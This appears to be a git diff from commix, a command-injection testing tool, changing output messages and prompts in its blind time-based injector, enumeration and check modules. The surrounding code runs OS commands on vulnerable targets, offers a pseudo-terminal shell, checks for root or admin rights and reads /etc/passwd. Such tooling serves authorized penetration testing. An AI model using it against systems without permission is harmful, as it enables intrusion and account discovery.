_ = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: + _ = True while True: - message = "Do you want to ignore stored session and enumerate again? [Y/n] > " - enumerate_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif enumerate_again in settings.CHOICE_NO: - new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() @@ -436,22 +429,23 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r pass else: if menu.enumeration_options(): + _ = True tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + if settings.FILE_ACCESS_DONE == False and _ == False: + print(settings.SINGLE_WHITESPACE) + # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: - if settings.ENUMERATION_DONE == True and new_line: - print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to ignore stored session and access files again? [Y/n] > " - file_access_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: - new_line = False break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() @@ -460,39 +454,36 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.print_error_msg(err_msg)) pass else: - if not new_line: - print(settings.SINGLE_WHITESPACE) - tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + if menu.file_access_options(): + tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - # Export injection result - #tb_injector.export_injection_results(cmd, separator, output, check_how_long) # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if false_positive_warning: - warn_msg = "Due to unexpected time delays, it is highly " - warn_msg += "recommended to enable the 'reverse_tcp' option.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - false_positive_warning = False - try: + try: + go_back = False + go_back_again = False + while True: + if go_back == True: + break + message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + if gotshell in settings.CHOICE_YES: + print(settings.OS_SHELL_TITLE) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: + if false_positive_warning: + warn_msg = "Due to unexpected time delays, it is highly " + warn_msg += "recommended to enable the 'reverse_tcp' option.\n" + sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) @@ -515,42 +506,37 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print("\n" + settings.print_output(output)) + print(settings.SINGLE_WHITESPACE) + print(settings.print_output(output)) + print(settings.SINGLE_WHITESPACE) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) - print(settings.SINGLE_WHITESPACE) - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - if not settings.IS_TTY: - print(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break + else: + if no_result == True: + return False + else: + return True + elif gotshell in settings.CHOICE_QUIT: + raise SystemExit() - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() + err_msg = "'" + gotshell + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + # break - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - break - + except (KeyboardInterrupt, SystemExit): + raise + + except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + print(settings.print_error_msg(err_msg)) + raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 2b2efb2734..da07a0d376 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -182,10 +182,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, found_chars = False info_msg = "Retrieving the length of execution output. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + print(settings.print_info_msg(info_msg)) for output_length in range(int(minlen), int(maxlen)): if alter_shell: # Execute shell commands on vulnerable host. @@ -204,15 +201,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -244,13 +235,6 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if injection_check == True: if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - pass - else: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Retrieved the length of execution output: " + str(output_length) print(settings.print_bold_debug_msg(debug_msg)) @@ -274,8 +258,6 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, info_msg = "Presuming the execution output." if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" - elif settings.VERBOSITY_LEVEL == 1 : - info_msg += "" else: info_msg += "\n" if output_length > 1: @@ -301,15 +283,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -367,17 +343,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: check_start = 0 - if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - else: - pass - check_how_long = 0 output = False - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) return check_how_long, output """ @@ -393,11 +361,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" found_chars = False - debug_msg = "Checking the reliability of the used payload " - debug_msg += "in case of a false positive result. " - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + checks.check_for_false_positive_result() # Varying the sleep time. timesec = timesec + random.randint(1, 5) @@ -421,15 +385,9 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Generating payload for testing the reliability of used payload." - print("\n" + settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -492,15 +450,9 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for testing the reliability of used payload." - print(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -538,8 +490,6 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese output = "".join(str(p) for p in output) if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) return how_long, output else: if settings.VERBOSITY_LEVEL < 2: @@ -552,15 +502,13 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese Export the injection results """ def export_injection_results(cmd, separator, output, check_how_long): - if output != "" and check_how_long != 0 : + print(settings.SINGLE_WHITESPACE) if settings.VERBOSITY_LEVEL == 0: - print("\n") - elif settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) + print(settings.SINGLE_WHITESPACE) print(settings.print_output(output)) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - sys.stdout.write("\n" + settings.print_info_msg(info_msg)) + sys.stdout.write("\n" + settings.print_info_msg(info_msg) + "\n") else: # Check if exists pipe filtration. if output != False : @@ -572,8 +520,8 @@ def export_injection_results(cmd, separator, output, check_how_long): raise SystemExit() # Check for fault command. else: - err_msg = "The '" + cmd + "' command, does not return any output." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - sys.stdout.write("\r" + settings.print_critical_msg(err_msg)) + err_msg = "The execution of '" + cmd + "' command does not return any output." + sys.stdout.write("\r" + settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index a4d8d715ff..ffb04b0018 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -75,28 +75,6 @@ def mobile_user_agents(): print(settings.print_error_msg(err_msg)) pass -""" -The available mobile user agents. -""" -def mobile_user_agents(): - menu.mobile_user_agents() - while True: - message = "Which smartphone do you want to imitate through HTTP User-Agent header? > " - mobile_user_agent = common.read_input(message, default="1", check_batch=True) - try: - if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)): - return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] - elif mobile_user_agent.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - except ValueError: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - """ Check for HTTP Method """ @@ -120,7 +98,6 @@ def user_aborted(filename, url): abort_msg = "User aborted procedure " abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." - print(settings.SINGLE_WHITESPACE) print(settings.print_abort_msg(abort_msg)) logs.print_logs_notification(filename, url) os._exit(0) @@ -334,7 +311,7 @@ def page_encoding(response, action): except Exception as ex: if settings.PAGE_COMPRESSION is None: warn_msg = "Turning off page compression." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) settings.PAGE_COMPRESSION = False try: if action == "encode" and type(page) == str: @@ -403,7 +380,19 @@ def captcha_check(page): print(settings.SINGLE_WHITESPACE) print(settings.print_bold_warning_msg(warn_msg)) break - + +""" +Checking the reliability of the used payload message. +""" +def check_for_false_positive_result(): + debug_msg = "A potential injection point has been detected. " + debug_msg += "Checking the reliability of the used payload " + debug_msg += "in case of a false positive result. " + # Check if defined "--verbose" option. + if settings.VERBOSITY_LEVEL != 0: + sys.stdout.write(settings.print_bold_debug_msg(debug_msg)) + print(settings.SINGLE_WHITESPACE) + """ Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase. """ @@ -487,7 +476,7 @@ def check_injection_level(): """ def next_attack_vector(technique, go_back): while True: - message = "Continue with testing the " + technique + "? [y/N] > " + message = "Do you want to continue with testing the " + technique + "? [y/N] > " next_attack_vector = common.read_input(message, default="N", check_batch=True) if next_attack_vector in settings.CHOICE_YES: # Check injection state @@ -632,8 +621,8 @@ def continue_tests(err): Check if option is unavailable """ def unavailable_option(check_option): - warn_msg = "The '" + check_option + "' option " - warn_msg += "is not yet available for windows targets." + warn_msg = "The option '" + check_option + "' " + warn_msg += "is not yet available for Windows targets." print(settings.print_warning_msg(warn_msg)) """ @@ -1342,6 +1331,23 @@ def recognise_payload(payload): if encode_type == 'hexencode': hex_output(payload) + if is_decoded: + while True: + message = "The provided parameter appears to be '" + str(encode_type).split("encode")[0] + "' encoded. " + message += "Do you want to process it encoded? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + break + elif procced_option in settings.CHOICE_NO: + settings.MULTI_ENCODED_PAYLOAD.remove(encode_type) + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + procced_option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + if is_decoded: return _urllib.parse.quote(decoded_payload), encoded_with else: @@ -1638,7 +1644,7 @@ def generate_char_pool(num_of_chars): else: # Checks {a..z},{A..Z},{0..9},{Symbols} char_pool = list(range(96, 122)) + list(range(65, 90)) - char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 95)) + list(range(58, 64)) + list(range(123, 127)) + char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127)) return char_pool """ @@ -1708,20 +1714,20 @@ def check_wrong_flags(): if settings.TARGET_OS == "win": if menu.options.is_root : warn_msg = "Swithing '--is-root' to '--is-admin' because the " - warn_msg += "target has been identified as windows." + warn_msg += "target has been identified as Windows." print(settings.print_warning_msg(warn_msg)) if menu.options.passwords: warn_msg = "The '--passwords' option, is not yet available for Windows targets." print(settings.print_warning_msg(warn_msg)) if menu.options.file_upload : - warn_msg = "The '--file-upload' option, is not yet available for windows targets. " + warn_msg = "The '--file-upload' option, is not yet available for Windows targets. " warn_msg += "Instead, use the '--file-write' option." print(settings.print_warning_msg(warn_msg)) raise SystemExit() else: if menu.options.is_admin : warn_msg = "Swithing the '--is-admin' to '--is-root' because " - warn_msg += "the target has been identified as unix-like. " + warn_msg += "the target has been identified as Unix-like. " print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index ee24a265bb..f0f54c3c9d 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -352,7 +352,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time modules_handler.load_modules(url, http_request_method, filename) checks.tamper_scripts(stored_tamper_scripts=False) - info_msg = "Setting the" + info_msg = "Setting" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + str(http_request_method) + "" info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] @@ -367,10 +367,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time debug_msg = "Skipping heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) else: - decoded_value, decoded_with = checks.recognise_payload(payload=settings.TESTABLE_VALUE) - if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: - warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." - print(settings.print_warning_msg(warn_msg)) + if not settings.LOAD_SESSION: + checks.recognise_payload(payload=settings.TESTABLE_VALUE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) @@ -857,9 +855,8 @@ def do_check(url, http_request_method, filename): print(settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) - if not settings.MULTI_TARGETS: - print(settings.SINGLE_WHITESPACE) - + # if not settings.MULTI_TARGETS: + # print(settings.SINGLE_WHITESPACE) if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: raise SystemExit() diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 7308d3a709..ef5dd22eee 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -52,14 +52,13 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ if float(ps_version): settings.PS_ENABLED = True # Output PowerShell's version number - info_msg = "The PowerShell's version number is " + info_msg = "Powershell version: " info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The PowerShell's version number is " + ps_version + ".\n" + info_msg = "Powershell version: " + ps_version + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: @@ -90,13 +89,12 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: shell = "".join(str(p) for p in shell) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + info_msg = "Hostname: " + str(shell) + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The hostname is " + str(shell) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -141,7 +139,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ distro_name = cb_injector.injection_results(response, TAG, cmd) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + " " + distro_name session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -161,20 +159,17 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_arch: - info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + if target_os and target_arch: + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - warn_msg = "Heuristics have failed to retrieve the system information." + warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) """ @@ -198,66 +193,55 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: cu_account = "".join(str(p) for p in cu_account) - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + cu_account - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is privileged.\n") - output_file.close() - else: - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + cu_account + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + info_msg = "Current user: " + str(cu_account) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() else: - warn_msg = "Heuristics have failed to identify the current user." + warn_msg = "Heuristics have failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) +""" +Check if the current user has excessive privileges. +""" +def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + if settings.TARGET_OS == "win": + cmd = settings.IS_ADMIN + else: + cmd = settings.IS_ROOT + if settings.USE_BACKTICKS: + cmd = cmd.replace("echo $(","").replace(")","") + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = cb_injector.injection_results(response, TAG, cmd) + shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + + _ = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + _ = "False" + + info_msg = "Current user has excessive privileges: " + str(_) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + + """ System users enumeration """ @@ -300,9 +284,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users_list = sys_users_list.split() info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " via 'net users' command." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -335,32 +318,25 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - + print(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass # Unix-like users enumeration. else: - info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE info_msg += "' in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_info_msg(info_msg)) try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -370,11 +346,9 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") @@ -386,12 +360,10 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.PASSWD_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -431,11 +403,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + 